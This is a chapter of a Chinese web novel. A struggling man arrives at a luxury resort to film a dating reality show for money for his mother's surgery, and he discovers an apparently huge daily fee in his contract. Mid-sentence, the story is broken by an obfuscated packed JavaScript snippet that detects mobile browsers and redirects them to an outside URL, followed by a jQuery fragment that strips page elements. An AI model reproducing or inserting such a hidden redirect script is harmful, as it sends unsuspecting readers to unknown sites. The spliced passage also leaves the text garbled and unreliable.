早晨六点半，陈末站在自家老小区门口时，深刻理解了“格格不入”这个词的具象含义。


    一辆漆面能照出他睡眠不足脸庞的黑色保姆车，正以绝对违和感的姿态停在剥落的“幸福家园”招牌下。司机是个穿黑西装戴白手套的年轻人，看见陈末拎着个半旧行李箱出来时，表情管理出现了0.5秒的裂缝。


    “陈……先生？”司机确认道，目光在陈末的格子衬衫和洗得发白的牛仔裤上扫过。


    “是我。”陈末把箱子递过去。箱子是大学时买的，轮子有一个不太灵光，拖动时会发出有节奏的“咯哒”声，像在给这趟荒谬之旅打拍子。


    司机接过箱子的动作略显僵硬，仿佛那箱子里装的是定时炸弹。他拉开侧滑门，车内景象让陈末眯了眯眼——真皮座椅散发着新车特有的气味，内饰是哑光金属和深咖色木材的搭配，迷你冰箱的指示灯幽幽地亮着蓝光。座位中间的小桌板上，摆着一瓶依云水和一碟……马卡龙？


    五颜六色，精致得像塑料玩具。


    “节目组准备的茶点。”司机解释，语气里有一丝不易察觉的优越感，“预计车程两小时，您可以休息。需要毛毯吗？”


    “不用，谢谢。”陈末坐进座位，感受着臀部下方真皮的柔软触感。这椅子比他出租屋里那张二手沙发舒服至少三个量级。


    车门无声滑上，将清晨的市井喧闹隔绝在外。车子启动时平稳得几乎无感，只有窗外倒退的街景提示着他们在移动。


    陈末掏出手机，发现信号满格——看来这车还配了顶级信号增强器。他点开银行APP，看着3271.58的余额，开始心算。


    日薪一千，录制三十天。按张伟的说法，录完当晚结算。假设节目组不拖欠，三十天后他会有三万。扣除个人所得税，劳务报酬的税率是……


    他打开计算器。


    30000×（1-20%）×20%=4800元。


    实际到手约25200元。再扣除张伟的中介费，那家伙至少会要10%，也就是3000元。最后剩22200元。


    距离二十五万手术费，还差二十二万七千八百。


    陈末闭上眼，深深吸了口气。车内香薰系统释放着淡淡的雪松味，闻起来就很贵。他想起医院走廊里那种消毒水混着焦虑的气味，想起母亲躺在病床上，手背插着输液管的样子。


    “陈先生？”司机的声音从前方传来，“需要调整空调温度吗？”


    “不用，很好。”


    车上了高速，窗外的城市景观逐渐被郊区的绿意取代。陈末看着那些飞速倒退的树木，忽然意识到一件事——他连节目具体要干什么都不知道。


    张伟只说了“恋综”、“当对照组”、“别太积极”，但具体流程呢？每天要做什么？会有哪些环节？万一节目组要求他做一些超出能力范围的事呢？


    焦虑像细小的藤蔓，开始顺着脊椎往上爬。


    他掏出张伟昨晚匆忙塞给他的一个文件夹，里面除了合同副本，只有一页A4纸的“嘉宾须知”。


    【《心动的岛屿》嘉宾行为准则】


    录制期间请保持专业态度，配合节目组安排。


    与其他嘉宾互动时请保持礼貌与尊重。


    禁止在非指定时间、地点使用个人通讯设备。


    禁止向外界透露节目录制细节。


    如遇身体不适或特殊情况，请及时联系现场导演。


    全是废话。


    陈末翻到背面，空白。没有日程表，没有环节介绍，没有其他嘉宾的资料。他就像被空投到陌生战场的士兵，连敌人在哪儿都不知道。


    车子转进一条沿海公路，蔚蓝的海面在右侧铺展开来。阳光洒在水面上，碎成万千金币。陈末看着那片海，忽然想起大学时和同学去过的那个海滨小镇。海水没那么蓝，沙滩上有很多垃圾，但他们笑得很开心。


    那是多久以前的事了？五年？六年？


    时间像这辆车一样，平稳而无声地驶过，等你回过神来，已经离起点很远很远了。


    “我们快到了。”司机说，“节目组安排您从特殊通道进入，避免被代拍和粉丝围堵。”


    陈末点点头，虽然不太明白“代拍”是什么意思。他把手机调成静音，想起医生昨晚那条没说完的信息。


    “关于您母亲的病情，还有一些细节需要和您当面沟通。”


    是什么细节？不好的消息吗？手术风险？还是费用又增加了？


    他打开微信，盯着李医生的聊天窗口，手指悬在屏幕上方几秒，最终还是没有发消息。有些事，不知道的时候还能假装一切都好。


    车子转进一条私家道路，两旁是修剪整齐的棕榈树。前方出现一道黑色铁艺大门，门卫确认车牌后，大门缓缓滑开。


    门后的世界让陈末下意识坐直了身体。


    白色沙砾铺成的车道蜿蜒向前，两侧是精心打理的热带花园。远处，几栋现代风格的建筑依地势而建，玻璃幕墙反射着阳光和海面，像一堆随意散落的钻石。更远处，私人码头停着几艘游艇，白色的船身在蓝天下格外醒目。


    “这是……录制地点？”陈末问，声音里有一丝自己都没察觉的干涩。


    “是的。”司机语气平静，显然见过太多初次到来的嘉宾的这种反应，“玫瑰湾度假庄园，节目组包场一个月。主录制区是中央那栋玻璃别墅，您和其他嘉宾都住那里。”


    车子在一栋建筑前停下。这栋楼比其他建筑低调些，但依然透着“我很贵”的气息。一个穿着印有节目LOGO Polo衫的年轻女孩已经等在门口，手里拿着平板电脑和对讲机。


    “陈末老师！”女孩迎上来，笑容专业而热情，“欢迎欢迎！我是您的专属助理小林，录制期间有任何需要都可以找我！”


    老师？陈末被这个称呼噎了一下。他一个月前还在公司因为服务器宕机被项目经理骂得狗血淋头。


    “你好。”他下了车，行李箱已经被司机提下来放在身边。


    小林的目光在陈末的衣着上停留了半秒，笑容不变：“我们先去临时休息室，导演需要和您做开拍前最后一次沟通。其他嘉宾下午才到，您有充足时间调整状态。”


    她领着陈末走进建筑。室内冷气很足，大理石地面光可鉴人。墙上挂着抽象艺术画，角落里摆着看不出是真是假的雕塑。一切都精致、冷漠、昂贵。


    休息室是个小套间，有沙发、茶几和迷你吧台。茶几上摆着水果拼盘和矿泉水，水果切得整齐得像手术标本。


    “您先休息，刘导十分钟后到。”小林退出房间，轻轻带上门。


    门关上的瞬间，陈末肩膀垮了下来。他走到窗前，看着外面的景色——碧蓝的游泳池，池边摆着白色躺椅和遮阳伞；更远处，海浪轻轻拍打着私人沙滩。


    这一切美得像明信片，也假得像明信片。


    他坐进沙发，真皮面料发出轻微的摩擦声。拿起一瓶水，发现标签是外文的，大概又是什么进口高端水。拧开喝了一口，没喝出和便利店两块钱一瓶的有什么区别。


    手机震动了一下，是张伟发来的微信：“到了吗末哥？怎么样？是不是超豪华？”


    陈末回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990763|193693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    复：“到了。很豪华。”


    “那就好！记住我跟你说的话啊，别太出风头，配合节目组，钱就到手了！对了，你那份合同副本要收好，千万别弄丢！”


    合同。


    陈末从背包里翻出那个文件夹，抽出合同。纸张在室内光线下显得更加精致，草莓视频的烫金LOGO在页面顶端闪着微光。


    他再次翻到报酬条款，盯着那串数字。


    【人民币￥1000000/日（含税）】


    印刷确实有点糊。那个斜杠和后面的“日”字挨得太近，数字末尾的几个零墨色不均匀。在眼下明亮的灯光里看，更像是一千了。


    陈末忽然想起什么，从背包侧袋掏出眼镜盒——他轻度近视，平时不常戴。戴上眼镜后，世界清晰了一点。


    他凑近合同，几乎把鼻子贴到纸上。


    数字还是那样：1000000/日。但戴了眼镜后，他清楚地看到，那个斜杠其实印得非常标准，“/”后面紧跟着“日”。而数字部分……他数了数零。


    个、十、百、千、万、十万、百万。


    六个零。


    等等。


    陈末摘下眼镜，揉了揉眼睛，再戴上。


    六个零。


    一百万？


    他脑子空白了一秒，然后笑出声。怎么可能。一定是印刷错误。日薪一百万？那三十天就是三千万。三千万请他来当背景板？节目组疯了还是他疯了？


    肯定是排版错误。应该是“1000/日”，多印了几个零。或者这是合同模板，忘记修改了。对，一定是这样。


    但心脏不知为何，开始不规律地跳动起来。


    他想起张伟焦急的表情，想起司机看到他住处时的眼神，想起这辆保姆车、这个庄园、这瓶进口水。


    如果……只是说如果……不是印刷错误呢？


    门外传来脚步声，由远及近。


    陈末迅速把合同塞回文件夹，深吸一口气，强迫自己冷静下来。


    门开了，一个四十多岁、留着胡子的男人走进来，身后跟着小林。男人穿着导演马甲，脖子上挂着证件，眼神锐利得像手术刀。


    “陈末是吧？”男人伸出手，“我是总导演刘成。欢迎加入《心动的岛屿》。”


    陈末起身握手，手心有点汗湿。


    刘导打量着他，那目光像是在评估一件商品：“张伟应该跟你说了基本情况。你的角色很重要，要演出普通素人的真实感，但也不能太无聊。这个度，你能把握吗？”


    “我尽量。”陈末说。


    “很好。”刘导笑了，那笑容里有种陈末看不懂的东西，“我相信你会给节目带来……惊喜。”


    惊喜？


    陈末忽然有种错觉，好像这个导演知道些什么他不知道的事。


    “小林会带你去房间，下午三点，全体嘉宾第一次见面会。”刘导看了看表，“记住，从你踏出这个门开始，镜头就在记录。做你自己就好——或者说，做节目需要你就好。”


    他说完就走了，留下陈末站在原地，手心里那份轻飘飘的文件夹，突然重得像块铅。


    做节目需要的自己。


    日薪一千的自己。


    还是……


    陈末摇摇头，把这个荒唐的念头甩出脑海。他拎起行李箱，轮子再次发出“咯哒、咯哒”的声音，在这间过于安静的豪华休息室里，响得像倒计时的钟摆。


    窗外，海面上掠过一只海鸟，飞向看不见的远方。


    节目还没开始，但他已经感觉，有些事，可能和他想象的不太一样了。